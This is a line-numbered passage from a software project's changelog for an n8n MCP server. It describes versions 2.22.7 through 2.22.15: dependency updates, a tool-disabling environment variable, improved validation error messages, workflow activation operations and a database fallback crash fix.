821 | - How to suggest relevant improvements
822 |
823 | This feature is completely privacy-focused with comprehensive sanitization to protect sensitive data while capturing the structural patterns needed for better AI assistance.
824 |
825 | ## [2.22.15] - 2025-11-11
826 |
827 | ### 🔄 Dependencies
828 |
829 | Updated n8n and all related dependencies to the latest versions:
830 |
831 | - Updated n8n from 1.118.1 to 1.119.1
832 | - Updated n8n-core from 1.117.0 to 1.118.0
833 | - Updated n8n-workflow from 1.115.0 to 1.116.0
834 | - Updated @n8n/n8n-nodes-langchain from 1.117.0 to 1.118.0
835 | - Rebuilt node database with 543 nodes (439 from n8n-nodes-base, 104 from @n8n/n8n-nodes-langchain)
836 |
837 | ## [2.22.14] - 2025-01-09
838 |
839 | ### ✨ New Features
840 |
841 | **Issue #410: DISABLED_TOOLS Environment Variable for Tool Filtering**
842 |
843 | Added `DISABLED_TOOLS` environment variable to filter specific tools from registration at startup, enabling deployment-specific tool configuration for multi-tenant deployments, security hardening, and feature flags.
844 |
845 | #### Problem
846 |
847 | In multi-tenant deployments, some tools don't work correctly because they check global environment variables instead of per-instance context. Examples:
848 |
849 | - `n8n_diagnostic` shows global env vars (`NODE_ENV`, `process.env.N8N_API_URL`) which are meaningless in multi-tenant mode where each user has their own n8n instance credentials
850 | - `n8n_health_check` checks global n8n API configuration instead of instance-specific settings
851 | - These tools appear in the tools list but either don't work correctly (show wrong data), hang/error, or create confusing UX
852 |
853 | Additionally, some deployments need to disable certain tools for:
854 | - **Security**: Disable management tools in production for certain users
855 | - **Feature flags**: Gradually roll out new tools
856 | - **Deployment-specific**: Different tool sets for cloud vs self-hosted
857 |
858 | #### Solution
859 |
860 | **Environment Variable Format:**
861 | ```bash
862 | DISABLED_TOOLS=n8n_diagnostic,n8n_health_check,custom_tool
863 | ```
864 |
865 | **Implementation:**
866 | 1. **`getDisabledTools()` Method** (`src/mcp/server.ts` lines 326-348)
867 | - Parses comma-separated tool names from `DISABLED_TOOLS` env var
868 | - Returns `Set<string>` for O(1) lookup performance
869 | - Handles whitespace trimming and empty entries
870 | - Logs configured disabled tools for debugging
871 |
872 | 2. **ListToolsRequestSchema Handler** (`src/mcp/server.ts` lines 401-449)
873 | - Filters both `n8nDocumentationToolsFinal` and `n8nManagementTools` arrays
874 | - Removes disabled tools before returning to client
875 | - Logs filtered tool count for observability
876 |
877 | 3. **CallToolRequestSchema Handler** (`src/mcp/server.ts` lines 491-505)
878 | - Checks if requested tool is disabled before execution
879 | - Returns clear error message with `TOOL_DISABLED` code
880 | - Includes list of all disabled tools in error response
881 |
882 | 4. **executeTool() Guard** (`src/mcp/server.ts` lines 909-913)
883 | - Defense in depth: additional check at execution layer
884 | - Throws error if disabled tool somehow reaches execution
885 | - Ensures complete protection against disabled tool calls
886 |
887 | **Error Response Format:**
888 | ```json
889 | {
890 | "error": "TOOL_DISABLED",
891 | "message": "Tool 'n8n_diagnostic' is not available in this deployment. It has been disabled via DISABLED_TOOLS environment variable.",
892 | "disabledTools": ["n8n_diagnostic", "n8n_health_check"]
893 | }
894 | ```
895 |
896 | #### Usage Examples
897 |
898 | **Multi-tenant deployment:**
899 | ```bash
900 | # Hide tools that check global env vars
901 | DISABLED_TOOLS=n8n_diagnostic,n8n_health_check
902 | ```
903 |
904 | **Security hardening:**
905 | ```bash
906 | # Disable destructive management tools
907 | DISABLED_TOOLS=n8n_delete_workflow,n8n_update_full_workflow
908 | ```
909 |
910 | **Feature flags:**
911 | ```bash
912 | # Gradually roll out experimental tools
913 | DISABLED_TOOLS=experimental_feature_1,beta_tool_2
914 | ```
915 |
916 | **Deployment-specific:**
917 | ```bash
918 | # Different tool sets for cloud vs self-hosted
919 | DISABLED_TOOLS=local_only_tool,debug_tool
920 | ```
921 |
922 | #### Benefits
923 |
924 | - ✅ **Clean Implementation**: ~40 lines of code, simple and maintainable
925 | - ✅ **Environment Variable Based**: Standard configuration pattern
926 | - ✅ **Backward Compatible**: No `DISABLED_TOOLS` = all tools enabled
927 | - ✅ **Defense in Depth**: Filtering at registration + runtime rejection
928 | - ✅ **Performance**: O(1) lookup using Set data structure
929 | - ✅ **Observability**: Logs configuration and filter counts
930 | - ✅ **Clear Error Messages**: Users understand why tools aren't available
931 |
932 | #### Test Coverage
933 |
934 | **45 comprehensive tests (all passing):**
935 |
936 | **Original Tests (21 scenarios):**
937 | - Environment variable parsing (8 tests)
938 | - Tool filtering for both doc & mgmt tools (5 tests)
939 | - ExecuteTool guard (3 tests)
940 | - Invalid tool names (2 tests)
941 | - Real-world use cases (3 tests)
942 |
943 | **Additional Tests by test-automator (24 scenarios):**
944 | - Error response structure validation (3 tests)
945 | - Multi-tenant mode interaction (3 tests)
946 | - Special characters & unicode (5 tests)
947 | - Performance at scale (3 tests)
948 | - Environment variable edge cases (4 tests)
949 | - Defense in depth verification (3 tests)
950 | - Real-world deployment scenarios (3 tests)
951 |
952 | **Coverage:** 95% of feature code, exceeds >90% requirement
953 |
954 | #### Files Modified
955 |
956 | **Core Implementation (1 file):**
957 | - `src/mcp/server.ts` - Added filtering logic (~40 lines)
958 |
959 | **Configuration (4 files):**
960 | - `.env.example` - Added `DISABLED_TOOLS` documentation with examples
961 | - `.env.docker` - Added `DISABLED_TOOLS` example
962 | - `package.json` - Version bump to 2.22.14
963 | - `package.runtime.json` - Version bump to 2.22.14
964 |
965 | **Tests (2 files):**
966 | - `tests/unit/mcp/disabled-tools.test.ts` - 21 comprehensive test scenarios
967 | - `tests/unit/mcp/disabled-tools-additional.test.ts` - 24 additional test scenarios
968 |
969 | **Documentation (2 files):**
970 | - `DISABLED_TOOLS_TEST_COVERAGE_ANALYSIS.md` - Detailed coverage analysis
971 | - `DISABLED_TOOLS_TEST_SUMMARY.md` - Executive summary
972 |
973 | #### Impact
974 |
975 | **Before:**
976 | - ❌ Multi-tenant deployments showed incorrect diagnostic information
977 | - ❌ No way to disable problematic tools at deployment level
978 | - ❌ All-or-nothing approach (either all tools or no tools)
979 |
980 | **After:**
981 | - ✅ Fine-grained control over available tools per deployment
982 | - ✅ Multi-tenant deployments can hide env-var-based tools
983 | - ✅ Security hardening via tool filtering
984 | - ✅ Feature flag support for gradual rollout
985 | - ✅ Clean, simple configuration via environment variable
986 |
987 | #### Technical Details
988 |
989 | **Performance:**
990 | - O(1) lookup performance using `Set<string>`
991 | - Tested with 1000 tools: filtering completes in <100ms
992 | - No runtime overhead for tool execution
993 |
994 | **Security:**
995 | - Defense in depth: filtering + runtime rejection
996 | - Clear error messages prevent information leakage
997 | - No way to bypass disabled tool restrictions
998 |
999 | **Compatibility:**
1000 | - 100% backward compatible
1001 | - No breaking changes
1002 | - Easy rollback (unset environment variable)
1003 |
1004 | Resolves #410
1005 |
1006 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1007 |
1008 | ## [2.22.13] - 2025-01-08
1009 |
1010 | ### 🎯 Improvements
1011 |
1012 | **Telemetry-Driven Quick Wins: Reducing AI Agent Validation Errors by 30-40%**
1013 |
1014 | Based on comprehensive telemetry analysis of 593 validation errors across 4,000+ workflows, implemented three focused improvements to reduce AI agent configuration errors.
1015 |
1016 | #### Problem
1017 |
1018 | Telemetry analysis revealed that while validation works correctly (100% error recovery rate), AI agents struggle with three specific areas:
1019 | 1. **378 errors** (64% of failures): Missing required fields because agents didn't call `get_node_essentials()` first
1020 | 2. **179 errors** (30% of failures): Unhelpful "Duplicate node ID: undefined" messages lacking context
1021 | 3. **36 errors** (6% of failures): AI Agent node configuration issues without guidance
1022 |
1023 | **Root Cause**: Documentation and error message gaps, not validation logic failures.
1024 |
1025 | #### Solution
1026 |
1027 | **1. Enhanced Tools Documentation** (`src/mcp/tools-documentation.ts` lines 86-113):
1028 | - Added prominent warning: "⚠️ CRITICAL: Always call get_node_essentials() FIRST"
1029 | - Emphasized get_node_essentials with checkmarks and "CALL THIS FIRST" label
1030 | - Repositioned get_node_info as secondary option
1031 | - Highlighted that essentials shows required fields
1032 |
1033 | **Impact**: Prevents 378 required field errors (64% reduction)
1034 |
1035 | **2. Improved Duplicate ID Error Messages** (`src/services/workflow-validator.ts` lines 297-320):
1036 | - Enhanced error to include:
1037 | - Node indices (positions in array)
1038 | - Both node names and types for conflicting nodes
1039 | - Clear instruction to use `crypto.randomUUID()`
1040 | - Working code example showing correct pattern
1041 | - Added node index tracking with `nodeIdToIndex` map
1042 |
1043 | **Before**:
1044 | ```
1045 | Duplicate node ID: "undefined"
1046 | ```
1047 |
1048 | **After**:
1049 | ```
1050 | Duplicate node ID: "abc123". Node at index 1 (name: "Second Node", type: "n8n-nodes-base.set")
1051 | conflicts with node at index 0 (name: "First Node", type: "n8n-nodes-base.httpRequest").
1052 | Each node must have a unique ID. Generate a new UUID using crypto.randomUUID() - Example:
1053 | {id: "550e8400-e29b-41d4-a716-446655440000", name: "Second Node", type: "n8n-nodes-base.set", ...}
1054 | ```
1055 |
1056 | **Impact**: Fixes 179 "duplicate ID: undefined" errors (30% reduction)
1057 |
1058 | **3. AI Agent Node-Specific Validator** (`src/services/node-specific-validators.ts` after line 662):
1059 | - Validates promptType and text requirement (promptType: "define" requires text)
1060 | - Checks system message presence and quality (warns if < 20 characters)
1061 | - Warns about output parser and fallback model connections
1062 | - Validates maxIterations (must be positive, warns if > 50)
1063 | - Suggests error handling with AI-appropriate retry timings (5000ms for rate limits)
1064 | - Checks for deprecated continueOnFail
1065 |
1066 | **Integration**: Added AI Agent to enhanced-config-validator.ts switch statement
1067 |
1068 | **Impact**: Fixes 36 AI Agent configuration errors (6% reduction)
1069 |
1070 | #### Changes Summary
1071 |
1072 | **Files Modified (4 files)**:
1073 | - `src/mcp/tools-documentation.ts` - Enhanced workflow pattern documentation (27 lines)
1074 | - `src/services/workflow-validator.ts` - Improved duplicate ID errors (23 lines + import)
1075 | - `src/services/node-specific-validators.ts` - Added AI Agent validator (90 lines)
1076 | - `src/services/enhanced-config-validator.ts` - AI Agent integration (3 lines)
1077 |
1078 | **Test Files (2 files)**:
1079 | - `tests/unit/services/workflow-validator.test.ts` - Duplicate ID tests (56 lines)
1080 | - `tests/unit/services/node-specific-validators.test.ts` - AI Agent validator tests (181 lines)
1081 |
1082 | **Configuration (2 files)**:
1083 | - `package.json` - Version bump to 2.22.13
1084 | - `package.runtime.json` - Version bump to 2.22.13
1085 |
1086 | #### Testing Results
1087 |
1088 | **Test Coverage**: All tests passing
1089 | - Workflow validator: Duplicate ID detection with context
1090 | - Node-specific validators: AI Agent prompt, system message, maxIterations, error handling
1091 | - Integration: Enhanced-config-validator switch statement
1092 |
1093 | **Patterns Followed**:
1094 | - Duplicate ID enhancement: Matches Issue #392 parameter validation pattern
1095 | - AI Agent validator: Follows Slack validator pattern (lines 22-89)
1096 | - Error messages: Consistent with existing validation errors
1097 |
1098 | #### Expected Impact
1099 |
1100 | **For AI Agents**:
1101 | - ✅ **Clear Guidance**: Documentation emphasizes calling essentials first
1102 | - ✅ **Better Error Messages**: Duplicate ID errors include node context and UUID examples
1103 | - ✅ **AI Agent Support**: Comprehensive validation for common configuration issues
1104 | - ✅ **Self-Correction**: AI agents can fix issues based on improved error messages
1105 |
1106 | **Projected Error Reduction**:
1107 | - Required field errors: -64% (378 → ~136 errors)
1108 | - Duplicate ID errors: -30% (179 → ~125 errors)
1109 | - AI Agent errors: -6% (36 → ~0 errors)
1110 | - **Total reduction: 30-40% of validation errors**
1111 |
1112 | **Production Impact**:
1113 | - **Risk Level**: Very Low (documentation + error messages only)
1114 | - **Breaking Changes**: None (backward compatible)
1115 | - **Performance**: No impact (O(n) complexity unchanged)
1116 | - **False Positive Rate**: 0% (no new validation logic)
1117 |
1118 | #### Technical Details
1119 |
1120 | **Implementation Time**: ~1 hour total
1121 | - Quick Win #1 (Documentation): 10 minutes
1122 | - Quick Win #2 (Duplicate IDs): 20 minutes
1123 | - Quick Win #3 (AI Agent): 30 minutes
1124 |
1125 | **Dependencies**:
1126 | - Node.js 22.17.0 (crypto.randomUUID() available since 14.17.0)
1127 | - No new package dependencies
1128 |
1129 | **Validation Profiles**: All changes compatible with existing profiles (minimal, runtime, ai-friendly, strict)
1130 |
1131 | #### References
1132 |
1133 | - **Telemetry Analysis**: 593 errors across 4,000+ workflows analyzed
1134 | - **Error Recovery Rate**: 100% (validation working correctly)
1135 | - **Root Cause**: Documentation/guidance gaps, not validation failures
1136 | - **Pattern Source**: Issue #392 (parameter validation), Slack validator (node-specific validation)
1137 |
1138 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1139 |
1140 | ### 🐛 Bug Fixes
1141 |
1142 | **Critical: AI Agent Validator Not Executing**
1143 |
1144 | Fixed nodeType format mismatch bug that prevented the AI Agent validator (Quick Win #3 above) from ever executing.
1145 |
1146 | **The Bug**: Switch case checked for `@n8n/n8n-nodes-langchain.agent` but nodeType was normalized to `nodes-langchain.agent` first, so validator never matched.
1147 |
1148 | **Fix**: Changed `enhanced-config-validator.ts:322` from `case '@n8n/n8n-nodes-langchain.agent':` to `case 'nodes-langchain.agent':`
1149 |
1150 | **Impact**: Without this fix, the AI Agent validator code from Quick Win #3 would never execute, missing 179 configuration errors (30% of failures).
1151 |
1152 | **Testing**: Added verification test in `enhanced-config-validator.test.ts:1137-1169` to ensure validator executes.
1153 |
1154 | **Discovery**: Found by n8n-mcp-tester agent during post-deployment verification of Quick Win #3.
1155 |
1156 | ## [2.22.12] - 2025-01-08
1157 |
1158 | ### 🐛 Bug Fixes
1159 |
1160 | **Issue #392: Helpful Error Messages for "changes" vs "updates" Parameter**
1161 |
1162 | Fixed cryptic error message when users mistakenly use `changes` instead of `updates` in updateNode operations. AI agents now receive clear, educational error messages that help them self-correct immediately.
1163 |
1164 | #### Problem
1165 |
1166 | Users who mistakenly used `changes` instead of `updates` in `n8n_update_partial_workflow` updateNode operations encountered a cryptic error:
1167 |
1168 | ```
1169 | Diff engine error: Cannot read properties of undefined (reading 'name')
1170 | ```
1171 |
1172 | This error occurred because:
1173 | 1. The code tried to read `operation.updates.name` at line 406 of `workflow-diff-engine.ts`
1174 | 2. When users sent `changes` instead of `updates`, `operation.updates` was `undefined`
1175 | 3. Reading `.name` from `undefined` → unhelpful error message
1176 | 4. AI agents had no guidance on what went wrong or how to fix it
1177 |
1178 | **Root Cause**: No early validation to detect this common parameter mistake before attempting to access properties.
1179 |
1180 | #### Solution
1181 |
1182 | Added early validation in `validateUpdateNode()` method to detect and provide helpful guidance:
1183 |
1184 | **1. Parameter Validation** (`src/services/workflow-diff-engine.ts` lines 400-409):
1185 | ```typescript
1186 | // Check for common parameter mistake: "changes" instead of "updates" (Issue #392)
1187 | const operationAny = operation as any;
1188 | if (operationAny.changes && !operation.updates) {
1189 | return `Invalid parameter 'changes'. The updateNode operation requires 'updates' (not 'changes'). Example: {type: "updateNode", nodeId: "abc", updates: {name: "New Name", "parameters.url": "https://example.com"}}`;
1190 | }
1191 |
1192 | // Check for missing required parameter
1193 | if (!operation.updates) {
1194 | return `Missing required parameter 'updates'. The updateNode operation requires an 'updates' object containing properties to modify. Example: {type: "updateNode", nodeId: "abc", updates: {name: "New Name"}}`;
1195 | }
1196 | ```
1197 |
1198 | **2. Documentation Fix** (`docs/VS_CODE_PROJECT_SETUP.md` line 165):
1199 | - Fixed outdated example that showed incorrect parameter name
1200 | - Changed from: `{type: 'updateNode', nodeId: 'slack1', changes: {position: [100, 200]}}`
1201 | - Changed to: `{type: 'updateNode', nodeId: 'slack1', updates: {position: [100, 200]}}`
1202 | - Prevents AI agents from learning the wrong syntax
1203 |
1204 | **3. Comprehensive Test Coverage** (`tests/unit/services/workflow-diff-engine.test.ts` lines 388-428):
1205 | - Test for using `changes` instead of `updates` (validates helpful error message)
1206 | - Test for missing `updates` parameter entirely
1207 | - Both tests verify error message content includes examples
1208 |
1209 | #### Error Messages
1210 |
1211 | **Before Fix:**
1212 | ```
1213 | Diff engine error: Cannot read properties of undefined (reading 'name')
1214 | ```
1215 |
1216 | **After Fix:**
1217 | ```
1218 | Missing required parameter 'updates'. The updateNode operation requires an 'updates'
1219 | object containing properties to modify. Example: {type: "updateNode", nodeId: "abc",
1220 | updates: {name: "New Name"}}
1221 | ```
1222 |
1223 | #### Impact
1224 |
1225 | **For AI Agents:**
1226 | - ✅ **Clear Error Messages**: Explicitly states what's wrong ("Invalid parameter 'changes'")
1227 | - ✅ **Educational**: Explains the correct parameter name ("requires 'updates'")
1228 | - ✅ **Actionable**: Includes working example showing correct syntax
1229 | - ✅ **Self-Correction**: AI agents can immediately fix their code based on the error
1230 |
1231 | **Testing Results:**
1232 | - Test Coverage: 85% confidence (production ready)
1233 | - n8n-mcp-tester validation: All 3 test cases passed
1234 | - Code Review: Approved with minor optional suggestions
1235 | - Consistency: Follows existing patterns from Issue #249
1236 |
1237 | **Production Impact:**
1238 | - **Risk Level**: Very Low (only adds validation, no logic changes)
1239 | - **Breaking Changes**: None (backward compatible)
1240 | - **False Positive Rate**: 0% (validation is specific to the exact mistake)
1241 |
1242 | #### Technical Details
1243 |
1244 | **Files Modified (3 files):**
1245 | - `src/services/workflow-diff-engine.ts` - Added early validation (10 lines)
1246 | - `docs/VS_CODE_PROJECT_SETUP.md` - Fixed incorrect example (1 line)
1247 | - `tests/unit/services/workflow-diff-engine.test.ts` - Added 2 comprehensive test cases (40 lines)
1248 |
1249 | **Configuration (1 file):**
1250 | - `package.json` - Version bump to 2.22.12
1251 |
1252 | **Validation Flow:**
1253 | 1. Check if operation has `changes` property but no `updates` → Error with helpful message
1254 | 2. Check if operation is missing `updates` entirely → Error with example
1255 | 3. Continue with normal validation if `updates` is present
1256 |
1257 | **Consistency:**
1258 | - Pattern matches existing parameter validation in `validateAddConnection()` (lines 444-451)
1259 | - Error message format consistent with existing errors (lines 461, 466, 469)
1260 | - Uses same `as any` approach for detecting invalid properties
1261 |
1262 | #### References
1263 |
1264 | - **Issue**: #392 - "Diff engine error: Cannot read properties of undefined (reading 'name')"
1265 | - **Reporter**: User Aldekein (via cmj-hub investigation)
1266 | - **Test Coverage Assessment**: 85% confidence - SUFFICIENT for production
1267 | - **Code Review**: APPROVE WITH COMMENTS - Well-implemented and ready to merge
1268 | - **Related Issues**: None (this is a new validation feature)
1269 |
1270 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1271 |
1272 | ## [2.22.11] - 2025-01-06
1273 |
1274 | ### ✨ New Features
1275 |
1276 | **Issue #399: Workflow Activation via Diff Operations**
1277 |
1278 | Added workflow activation and deactivation as diff operations in `n8n_update_partial_workflow`, using n8n's dedicated API endpoints.
1279 |
1280 | #### Problem
1281 |
1282 | The n8n API provides dedicated `POST /workflows/{id}/activate` and `POST /workflows/{id}/deactivate` endpoints, but these were not accessible through n8n-mcp. Users could not programmatically control workflow activation status, forcing manual activation through the n8n UI.
1283 |
1284 | #### Solution
1285 |
1286 | Implemented activation/deactivation as diff operations, following the established pattern of metadata operations like `updateSettings` and `updateName`. This keeps the tool count manageable (40 tools, not 42) and provides a consistent interface.
1287 |
1288 | #### Changes
1289 |
1290 | **API Client** (`src/services/n8n-api-client.ts`):
1291 | - Added `activateWorkflow(id: string): Promise<Workflow>` method
1292 | - Added `deactivateWorkflow(id: string): Promise<Workflow>` method
1293 | - Both use POST requests to dedicated n8n API endpoints
1294 |
1295 | **Diff Engine Types** (`src/types/workflow-diff.ts`):
1296 | - Added `ActivateWorkflowOperation` interface
1297 | - Added `DeactivateWorkflowOperation` interface
1298 | - Added `shouldActivate` and `shouldDeactivate` flags to `WorkflowDiffResult`
1299 | - Increased supported operations from 15 to 17
1300 |
1301 | **Diff Engine** (`src/services/workflow-diff-engine.ts`):
1302 | - Added validation for activation (requires activatable triggers)
1303 | - Added operation application logic
1304 | - Transfers activation intent from workflow object to result
1305 | - Validates workflow has activatable triggers (webhook, schedule, etc.)
1306 | - Rejects workflows with only `executeWorkflowTrigger` (cannot activate)
1307 |
1308 | **Handler** (`src/mcp/handlers-workflow-diff.ts`):
1309 | - Checks `shouldActivate` and `shouldDeactivate` flags after workflow update
1310 | - Calls appropriate API methods
1311 | - Includes activation status in response message and details
1312 | - Handles activation/deactivation errors gracefully
1313 |
1314 | **Documentation** (`src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`):
1315 | - Updated operation count from 15 to 17
1316 | - Added "Workflow Activation Operations" section
1317 | - Added activation tip to essentials
1318 |
1319 | **Tool Registration** (`src/mcp/handlers-n8n-manager.ts`):
1320 | - Removed "Cannot activate/deactivate workflows via API" from limitations
1321 |
1322 | #### Usage
1323 |
1324 | ```javascript
1325 | // Activate workflow
1326 | n8n_update_partial_workflow({
1327 | id: "workflow_id",
1328 | operations: [{
1329 | type: "activateWorkflow"
1330 | }]
1331 | })
1332 |
1333 | // Deactivate workflow
1334 | n8n_update_partial_workflow({
1335 | id: "workflow_id",
1336 | operations: [{
1337 | type: "deactivateWorkflow"
1338 | }]
1339 | })
1340 |
1341 | // Combine with other operations
1342 | n8n_update_partial_workflow({
1343 | id: "workflow_id",
1344 | operations: [
1345 | {type: "updateNode", nodeId: "abc", updates: {name: "Updated"}},
1346 | {type: "activateWorkflow"}
1347 | ]
1348 | })
1349 | ```
1350 |
1351 | #### Validation
1352 |
1353 | - **Activation**: Requires at least one enabled activatable trigger node
1354 | - **Deactivation**: Always valid
1355 | - **Error Handling**: Clear messages when activation fails due to missing triggers
1356 | - **Trigger Detection**: Uses `isActivatableTrigger()` utility (Issue #351 compliance)
1357 |
1358 | #### Benefits
1359 |
1360 | - ✅ Consistent with existing architecture (metadata operations pattern)
1361 | - ✅ Keeps tool count at 40 (not 42)
1362 | - ✅ Atomic operations - activation happens after workflow update
1363 | - ✅ Proper validation - prevents activation without triggers
1364 | - ✅ Clear error messages - guides users on trigger requirements
1365 | - ✅ Works with other operations - can update and activate in one call
1366 |
1367 | #### Credits
1368 |
1369 | - **@ArtemisAI** - Original investigation and API endpoint discovery
1370 | - **@cmj-hub** - Implementation attempt and PR contribution
1371 | - Architectural guidance from project maintainer
1372 |
1373 | Resolves #399
1374 |
1375 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1376 |
1377 | ## [2.22.10] - 2025-11-04
1378 |
1379 | ### 🐛 Bug Fixes
1380 |
1381 | **sql.js Fallback: Fixed Database Health Check Crash**
1382 |
1383 | Fixed critical startup crash when the server falls back to sql.js adapter (used when better-sqlite3 fails to load, such as Node.js version mismatches between build and runtime).
1384 |
1385 | #### Problem
1386 |
1387 | When Claude Desktop was configured to use a different Node.js version than the one used to build the project:
1388 | - better-sqlite3 fails to load due to NODE_MODULE_VERSION mismatch (e.g., built with Node v22, running with Node v20)
1389 | - System gracefully falls back to sql.js adapter (pure JavaScript, no native dependencies)
1390 | - **BUT** the database health check crashed with "no such module: fts5" error
1391 | - Server exits immediately after startup, preventing connection
1392 |
1393 | **Error Details:**
1394 | ```
1395 | [ERROR] Database health check failed: Error: no such module: fts5
1396 | at e.handleError (sql-wasm.js:90:371)
1397 | at e.prepare (sql-wasm.js:89:104)
1398 | at SQLJSAdapter.prepare (database-adapter.js:202:30)
1399 | at N8NDocumentationMCPServer.validateDatabaseHealth (server.js:251:42)
1400 | ```
1401 |
1402 | **Root Cause:** The health check attempted to query the FTS5 (Full-Text Search) table, which is not available in sql.js. The error was not caught, causing the server to exit.
1403 |
1404 | #### Solution
1405 |
1406 | Wrapped the FTS5 health check in a try-catch block to handle sql.js gracefully:
1407 |
1408 | ```typescript
1409 | // Check if FTS5 table exists (wrap in try-catch for sql.js compatibility)
1410 | try {
1411 | const ftsExists = this.db.prepare(`
1412 | SELECT name FROM sqlite_master
1413 | WHERE type='table' AND name='nodes_fts'
1414 | `).get();
1415 |
1416 | if (!ftsExists) {
1417 | logger.warn('FTS5 table missing - search performance will be degraded...');
1418 | } else {
1419 | const ftsCount = this.db.prepare('SELECT COUNT(*) as count FROM nodes_fts').get();
1420 | if (ftsCount.count === 0) {
1421 | logger.warn('FTS5 index is empty - search will not work properly...');
1422 | }
1423 | }
1424 | } catch (ftsError) {
1425 | // FTS5 not supported (e.g., sql.js fallback) - this is OK, just warn
1426 | logger.warn('FTS5 not available - using fallback search. For better performance, ensure better-sqlite3 is properly installed.');
1427 | }
1428 | ```
1429 |
1430 | #### Impact
1431 |
1432 | **Before Fix:**
1433 | - ❌ Server crashed immediately when using sql.js fallback
1434 | - ❌ Claude Desktop connection failed with Node.js version mismatches
1435 | - ❌ No way to use the MCP server without matching Node.js versions exactly
1436 |
1437 | **After Fix:**
1438 | - ✅ Server starts successfully with sql.js fallback
1439 | - ✅ Works with any Node.js version (graceful degradation)
1440 | - ✅ Clear warning about FTS5 unavailability in logs
1441 | - ✅ Users can choose between sql.js (slower, works everywhere) or rebuilding better-sqlite3 (faster, requires matching Node version)
1442 |
1443 | #### Performance Notes
1444 |
1445 | When using sql.js fallback:
1446 | - Full-text search (FTS5) is not available, falls back to LIKE queries
1447 | - Slightly slower search performance (~10-30ms vs ~5ms with FTS5)
1448 | - All other functionality works identically
1449 | - Database operations work correctly
1450 |
1451 | **Recommendation:** For best performance, ensure better-sqlite3 loads successfully by matching Node.js versions or rebuilding:
1452 | ```bash
1453 | # If Node version mismatch, rebuild better-sqlite3
1454 | npm rebuild better-sqlite3
1455 | ```
1456 |
1457 | #### Files Changed
1458 |
1459 | **Modified (1 file):**
1460 | - `src/mcp/server.ts` (lines 299-317) - Added try-catch around FTS5 health check
1461 |
1462 | #### Testing
1463 |
1464 | - ✅ Tested with Node v20.17.0 (Claude Desktop version)
1465 | - ✅ Tested with Node v22.17.0 (build version)
1466 | - ✅ Server starts successfully in both cases
1467 | - ✅ sql.js fallback works correctly with graceful FTS5 degradation
1468 | - ✅ All 6 startup checkpoints pass
1469 | - ✅ Database health check passes with warning
1470 |
1471 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
1472 |
1473 | ## [2.22.9] - 2025-11-04
1474 |
1475 | ### 🔄 Dependencies Update
1476 |
1477 | **n8n Platform Update to 1.118.1**
1478 |
1479 | Updated n8n and all related dependencies to the latest versions:
1480 |
1481 | - **n8n**: 1.117.2 → 1.118.1
1482 | - **n8n-core**: 1.116.0 → 1.117.0
1483 | - **n8n-workflow**: 1.114.0 → 1.115.0
1484 | - **@n8n/n8n-nodes-langchain**: 1.116.2 → 1.117.0
1485 |
1486 | ### 📊 Database Changes
1487 |
1488 | - Rebuilt node database with **542 nodes**
1489 | - 439 nodes from n8n-nodes-base
1490 | - 103 nodes from @n8n/n8n-nodes-langchain
1491 | - All node metadata synchronized with latest n8n release
1492 |
1493 | ### 🐛 Bug Fixes
1494 |
1495 | **n8n 1.118.1+ Compatibility: Fixed versionCounter API Rejection**
1496 |
1497 | Fixed integration test failures caused by n8n 1.118.1 API change where `versionCounter` property is returned in GET responses but rejected in PUT requests.
1498 |
1499 | **Impact**:
1500 | - Integration tests were failing with "request/body must NOT have additional properties" error
1501 | - Workflow update operations via n8n API were failing
1502 |
1503 | **Solution**:
1504 | - Added `versionCounter` to property exclusion list in `cleanWorkflowForUpdate()` (src/services/n8n-validation.ts:136)
1505 | - Added `versionCounter?: number` type definition to Workflow and WorkflowExport interfaces
1506 | - Added test coverage to prevent regression
1507 |
1508 | ### ✅ Verification
1509 |
1510 | - Database rebuild completed successfully
1511 | - All node types validated
1512 | - Documentation mappings updated
1513 |
1514 | Conceived by Romuald Członkowski - https://www.aiadvisors.pl/en
1515 |
1516 | ## [2.22.7] - 2025-10-26
1517 |
1518 | ### 📝 Documentation Fixes
1519 |
1520 | **Issue #292: Corrected Array Property Removal Documentation in n8n_update_partial_workflow**
1521 |
1522 | Fixed critical documentation error in property removal patterns that could have led users to write non-functional code.
1523 |
1524 | #### Problem
1525 |
1526 | The documentation incorrectly showed using array index notation `[0]` for removing array elements:
1527 | ```javascript
1528 | // INCORRECT (doesn't work as shown)
1529 | updates: { "parameters.headers[0]": undefined }
1530 | ```
1531 |
1532 | **Root Cause**: The `setNestedProperty` implementation doesn't parse array index notation like `[0]`. It treats `headers[0]` as a literal object key, not an array index.
1533 |
1534 | **Impact**: Users following the documentation would write code that doesn't behave as expected. The property `headers[0]` would be treated as an object key, not an array element reference.
1535 |
1536 | #### Fixed
1537 |
1538 | **Three documentation corrections in `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`:**
1539 |
1540 | 1. **Nested Property Removal Section** (lines 236-244):
1541 | - Changed comment from `// Remove array element` to `// Remove entire array property`
1542 | - Changed code from `"parameters.headers[0]": undefined` to `"parameters.headers": undefined`
1543 |
1544 | 2. **Example rm5** (line 340):
1545 | - Changed comment from `// Remove array element` to `// Remove entire array property`
1546 | - Changed code from `"parameters.headers[0]": undefined` to `"parameters.headers": undefined`
1547 |
1548 | 3. **Pitfalls Section** (line 405):
1549 | - OLD: `'Array element removal with undefined removes the element at that index, which may shift subsequent indices'`
1550 | - NEW: `'Array index notation (e.g., "parameters.headers[0]") is not supported - remove the entire array property instead'`
1551 |
1552 | #### Correct Usage
1553 |
1554 | **To remove an array property:**
1555 | ```javascript
1556 | // Correct: Remove entire array
1557 | n8n_update_partial_workflow({
1558 | id: "wf_012",
1559 | operations: [{
1560 | type: "updateNode",
1561 | nodeName: "HTTP Request",
1562 | updates: { "parameters.headers": undefined } // Remove entire headers array
1563 | }]
1564 | });
1565 | ```
1566 |
1567 | **NOT:**
1568 | ```javascript
1569 | // Incorrect: Array index notation doesn't work
1570 | updates: { "parameters.headers[0]": undefined } // Treated as object key "headers[0]"
1571 | ```
1572 |
1573 | #### Impact
1574 |
1575 | - **Prevents User Confusion**: Clear documentation on what works vs. what doesn't
